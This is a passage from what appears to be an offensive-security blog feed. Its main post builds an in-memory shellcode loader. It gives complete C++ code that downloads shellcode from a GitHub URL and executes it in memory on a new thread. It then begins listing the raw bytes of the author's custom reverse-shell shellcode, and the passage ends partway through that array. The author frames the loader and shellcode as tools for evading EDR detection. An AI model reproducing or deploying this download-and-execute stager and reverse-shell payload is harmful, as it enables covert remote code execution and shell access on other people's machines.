</div>]]></content><author><name>R.B.C (g3tsyst3m)</name></author><category term="Fileless Techniques" /><category term="PE loader" /><category term="2025" /><category term="g3tsyst3m" /><category term="In-Memory" /><category term="Windows 11" /><summary type="html"><![CDATA[It’s high time we get another blog post going, and what better time than now to talk about PE loaders! Specifically, an In-Memory PE Loader. 😸 In short, we’re going to implement a PE (Portable Executable) loader that downloads a PE file (in this case, putty.exe) from one of my Github repos. We will then load it directly into a section of memory within the calling process and execute putty without ever writing it to disk! Essentially, we are using what’s called Dynamic Execution: The code is able to load and execute any valid 64-bit PE file (e.g., EXE or DLL) from a remote source, in our case, a Github file URL where I simply uploaded putty.exe to one of my github repos.]]></summary></entry><entry><title type="html">Using Direct Syscalls with an In-Memory PIC Shellcode Loader</title><link href="https://g3tsyst3m.com/fileless%20techniques/Using-Direct-Syscalls-with-an-In-Memory-PIC-Shellcode-Loader/" rel="alternate" type="text/html" title="Using Direct Syscalls with an In-Memory PIC Shellcode Loader" /><published>2025-08-23T00:00:00+00:00</published><updated>2025-08-23T00:00:00+00:00</updated><id>https://g3tsyst3m.com/fileless%20techniques/Using%20Direct%20Syscalls%20with%20an%20In-Memory%20PIC%20Shellcode%20Loader</id><content type="html" xml:base="https://g3tsyst3m.com/fileless%20techniques/Using-Direct-Syscalls-with-an-In-Memory-PIC-Shellcode-Loader/"><![CDATA[<p>Today’s post began in an unusual manner lol.  I wanted to explore the basic concept of creating an in-memory shellcode loader using APIs from the Wininet.h library.  I then got sidetracked and became interested in doing this purely using x64 assembly, which in turn led me to want to make it PIC friendly 😸  Furthermore, I also wanted to include the use of syscalls to help reduce detection at the EDR layer. 😹  All of that to just load some reverse shell shellcode.</p>

<p>To kick things off, I started with some basic c++ code that would download and execute code in-memory.  The APIs I went with were <code class="language-plaintext highlighter-rouge">InternetOpenA</code>, <code class="language-plaintext highlighter-rouge">InternetOpenUrlA</code>, and <code class="language-plaintext highlighter-rouge">InternetReadFile</code>.  It’s not an uncommon approach to downloading and executing shellcode, and you don’t have to resort to using <code class="language-plaintext highlighter-rouge">wininet</code> either.  There are other perfectly suitable libraries that can download and execute files.  However, I’m personally most familiar with wininet.h so I went with it 😸</p>

<p>So, let’s start with the C++ code share we?  That will give you an idea how all this began</p>

<h2 id="in-memory-shellcode-loader-using-c">In-memory Shellcode loader using C++</h2>

<p>Here’s the basic template I started out with:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;wininet.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;iostream&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;vector&gt;</span><span class="cp">
</span>
<span class="cp">#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "kernel32.lib")
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">agent</span> <span class="o">=</span> <span class="s">"Mozilla/5.0"</span><span class="p">;</span>
    <span class="c1">// this is a reverse tcp shell</span>
    <span class="c1">// reg.dyno contains a destination IP 127.0.0.1 and port 9001</span>
    <span class="c1">// I like using random file extension as it seems to produce a smaller footprint in regards to EDR shenanigans :D</span>
    <span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">url</span> <span class="o">=</span> <span class="s">"https://github.com/g3tsyst3m/undertheradar/raw/refs/heads/main/reg.dyno"</span><span class="p">;</span>

    <span class="c1">// ---- Open Internet session ----</span>
    <span class="n">HINTERNET</span> <span class="n">hInternet</span> <span class="o">=</span> <span class="n">InternetOpenA</span><span class="p">(</span><span class="n">agent</span><span class="p">,</span> <span class="n">INTERNET_OPEN_TYPE_DIRECT</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">hInternet</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"InternetOpenA failed: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// ---- Open URL ----</span>
    <span class="n">HINTERNET</span> <span class="n">hUrl</span> <span class="o">=</span> <span class="n">InternetOpenUrlA</span><span class="p">(</span><span class="n">hInternet</span><span class="p">,</span> <span class="n">url</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">INTERNET_FLAG_NO_CACHE_WRITE</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">hUrl</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"InternetOpenUrlA failed: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
        <span class="n">InternetCloseHandle</span><span class="p">(</span><span class="n">hInternet</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// ---- Read shellcode into memory ----</span>
    <span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="kt">char</span><span class="o">&gt;</span> <span class="n">shellcode</span><span class="p">;</span>
    <span class="kt">char</span> <span class="n">chunk</span><span class="p">[</span><span class="mi">4096</span><span class="p">];</span>
    <span class="n">DWORD</span> <span class="n">bytesRead</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">while</span> <span class="p">(</span><span class="n">InternetReadFile</span><span class="p">(</span><span class="n">hUrl</span><span class="p">,</span> <span class="n">chunk</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">chunk</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">bytesRead</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">bytesRead</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">shellcode</span><span class="p">.</span><span class="n">insert</span><span class="p">(</span><span class="n">shellcode</span><span class="p">.</span><span class="n">end</span><span class="p">(),</span> <span class="n">chunk</span><span class="p">,</span> <span class="n">chunk</span> <span class="o">+</span> <span class="n">bytesRead</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="n">InternetCloseHandle</span><span class="p">(</span><span class="n">hUrl</span><span class="p">);</span>
    <span class="n">InternetCloseHandle</span><span class="p">(</span><span class="n">hInternet</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">shellcode</span><span class="p">.</span><span class="n">empty</span><span class="p">())</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"Failed to download shellcode.</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// ---- Allocate writeable memory ----</span>
    <span class="kt">void</span><span class="o">*</span> <span class="n">mem</span> <span class="o">=</span> <span class="n">VirtualAlloc</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">.</span><span class="n">size</span><span class="p">(),</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_READWRITE</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">mem</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"VirtualAlloc failed: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// ---- Copy shellcode ----</span>
    <span class="n">memcpy</span><span class="p">(</span><span class="n">mem</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">.</span><span class="n">data</span><span class="p">(),</span> <span class="n">shellcode</span><span class="p">.</span><span class="n">size</span><span class="p">());</span>

    <span class="c1">// ---- Change memory protection to executable ----</span>
    <span class="n">DWORD</span> <span class="n">oldProtect</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">VirtualProtect</span><span class="p">(</span><span class="n">mem</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">.</span><span class="n">size</span><span class="p">(),</span> <span class="n">PAGE_EXECUTE_READ</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">oldProtect</span><span class="p">))</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"VirtualProtect failed: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
        <span class="n">VirtualFree</span><span class="p">(</span><span class="n">mem</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">MEM_RELEASE</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// ---- Run shellcode on a new thread ----</span>
    <span class="n">HANDLE</span> <span class="n">hThread</span> <span class="o">=</span> <span class="n">CreateThread</span><span class="p">(</span>
        <span class="nb">NULL</span><span class="p">,</span>                           <span class="c1">// default security</span>
        <span class="mi">0</span><span class="p">,</span>                              <span class="c1">// default stack size</span>
        <span class="p">(</span><span class="n">LPTHREAD_START_ROUTINE</span><span class="p">)</span><span class="n">mem</span><span class="p">,</span>    <span class="c1">// shellcode</span>
        <span class="nb">NULL</span><span class="p">,</span>                           <span class="c1">// parameter</span>
        <span class="mi">0</span><span class="p">,</span>                              <span class="c1">// default creation flags</span>
        <span class="nb">NULL</span>                            <span class="c1">// thread id</span>
    <span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">hThread</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"CreateThread failed: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
        <span class="n">VirtualFree</span><span class="p">(</span><span class="n">mem</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">MEM_RELEASE</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// Wait for shellcode to finish (optional)</span>
    <span class="n">WaitForSingleObject</span><span class="p">(</span><span class="n">hThread</span><span class="p">,</span> <span class="n">INFINITE</span><span class="p">);</span>
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hThread</span><span class="p">);</span>

    <span class="c1">// ---- Free memory ----</span>
    <span class="n">VirtualFree</span><span class="p">(</span><span class="n">mem</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">MEM_RELEASE</span><span class="p">);</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Also here is the code I used to export my shellcode to a file to be loaded by our shellcode loader.  Yeah I know, the shellcode is impossibly large and should be much smaller.  😸  It’s my own custom reverse shell shellcode, so no msfvenom was used.  I didn’t put too much effort into reducing the amount of total bytes, I really just focused on shellcode that was reliable and undetected out of the gate.  I took the exported file, c:\users\robbi\reg.dyno, and uploaded it to one of my github repos.  That is the file we download, which contains our shellcode, and gets executed in memory.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;fstream&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;vector&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;cstdint&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="c1">// Replace ... with your full byte array</span>
    <span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="kt">uint8_t</span><span class="o">&gt;</span> <span class="n">shellcode</span> <span class="o">=</span> <span class="p">{</span>
<span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0xec</span><span class="p">,</span><span class="mh">0x28</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0xe4</span><span class="p">,</span><span class="mh">0xf0</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x60</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x40</span><span class="p">,</span><span class="mh">0x18</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x70</span><span class="p">,</span><span class="mh">0x10</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span>
<span class="mh">0x36</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x36</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x5e</span><span class="p">,</span><span class="mh">0x30</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x5b</span><span class="p">,</span><span class="mh">0x3c</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc3</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x66</span><span class="p">,</span><span class="mh">0x81</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0x88</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span>
<span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xe9</span><span class="p">,</span><span class="mh">0x08</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x14</span><span class="p">,</span><span class="mh">0x0b</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc2</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x14</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xdb</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc3</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xd1</span><span class="p">,</span>
<span class="mh">0x48</span><span class="p">,</span><span class="mh">0xb8</span><span class="p">,</span><span class="mh">0x64</span><span class="p">,</span><span class="mh">0x64</span><span class="p">,</span><span class="mh">0x72</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x90</span><span class="p">,</span><span class="mh">0x90</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x10</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0x10</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xb8</span><span class="p">,</span><span class="mh">0x47</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x72</span><span class="p">,</span>
<span class="mh">0x6f</span><span class="p">,</span><span class="mh">0x63</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x67</span><span class="p">,</span><span class="mh">0xe3</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xdb</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x1c</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc3</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x08</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span>
<span class="mh">0x39</span><span class="p">,</span><span class="mh">0x0b</span><span class="p">,</span><span class="mh">0x75</span><span class="p">,</span><span class="mh">0xe9</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x08</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x39</span><span class="p">,</span><span class="mh">0x4b</span><span class="p">,</span><span class="mh">0x08</span><span class="p">,</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x03</span><span class="p">,</span><span class="mh">0x75</span><span class="p">,</span><span class="mh">0xdd</span><span class="p">,</span><span class="mh">0xcc</span><span class="p">,</span><span class="mh">0x51</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x5f</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xc7</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xdb</span><span class="p">,</span>
<span class="mh">0x44</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x1c</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc3</span><span class="p">,</span><span class="mh">0x43</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x04</span><span class="p">,</span><span class="mh">0xbb</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x5f</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xfc</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xc7</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span>
<span class="mh">0xb8</span><span class="p">,</span><span class="mh">0x61</span><span class="p">,</span><span class="mh">0x72</span><span class="p">,</span><span class="mh">0x79</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xb8</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x6f</span><span class="p">,</span><span class="mh">0x61</span><span class="p">,</span><span class="mh">0x64</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x69</span><span class="p">,</span><span class="mh">0x62</span><span class="p">,</span><span class="mh">0x72</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xe2</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0xec</span><span class="p">,</span><span class="mh">0x30</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span>
<span class="mh">0xd7</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0xc4</span><span class="p">,</span><span class="mh">0x30</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xc7</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xe1</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xf9</span><span class="p">,</span><span class="mh">0xb8</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x90</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x08</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0x08</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span>
<span class="mh">0x48</span><span class="p">,</span><span class="mh">0xb8</span><span class="p">,</span><span class="mh">0x45</span><span class="p">,</span><span class="mh">0x78</span><span class="p">,</span><span class="mh">0x69</span><span class="p">,</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x72</span><span class="p">,</span><span class="mh">0x6f</span><span class="p">,</span><span class="mh">0x63</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xe2</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0xec</span><span class="p">,</span><span class="mh">0x30</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd1</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0xc4</span><span class="p">,</span><span class="mh">0x30</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span>
<span class="mh">0x89</span><span class="p">,</span><span class="mh">0xc3</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xe1</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xf9</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xb8</span><span class="p">,</span><span class="mh">0x6f</span><span class="p">,</span><span class="mh">0x63</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x90</span><span class="p">,</span><span class="mh">0x90</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x10</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0x10</span><span class="p">,</span>
<span class="mh">0x50</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xb8</span><span class="p">,</span><span class="mh">0x43</span><span class="p">,</span><span class="mh">0x72</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x61</span><span class="p">,</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x72</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xe2</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0xec</span><span class="p">,</span><span class="mh">0x30</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd1</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0xc4</span><span class="p">,</span><span class="mh">0x30</span><span class="p">,</span>
<span class="mh">0x49</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xc5</span><span class="p">,</span><span class="mh">0xb8</span><span class="p">,</span><span class="mh">0x6c</span><span class="p">,</span><span class="mh">0x6c</span><span class="p">,</span><span class="mh">0x90</span><span class="p">,</span><span class="mh">0x90</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x10</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0x10</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xb8</span><span class="p">,</span><span class="mh">0x77</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x32</span><span class="p">,</span><span class="mh">0x5f</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x32</span><span class="p">,</span><span class="mh">0x2e</span><span class="p">,</span><span class="mh">0x64</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span>
<span class="mh">0x48</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xe1</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0xec</span><span class="p">,</span><span class="mh">0x30</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd7</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xc6</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xf1</span><span class="p">,</span><span class="mh">0xb8</span><span class="p">,</span><span class="mh">0x75</span><span class="p">,</span><span class="mh">0x70</span><span class="p">,</span><span class="mh">0x90</span><span class="p">,</span><span class="mh">0x90</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x10</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span>
<span class="mh">0x10</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xb8</span><span class="p">,</span><span class="mh">0x57</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x61</span><span class="p">,</span><span class="mh">0x72</span><span class="p">,</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xe2</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0xec</span><span class="p">,</span><span class="mh">0x30</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xc7</span><span class="p">,</span>
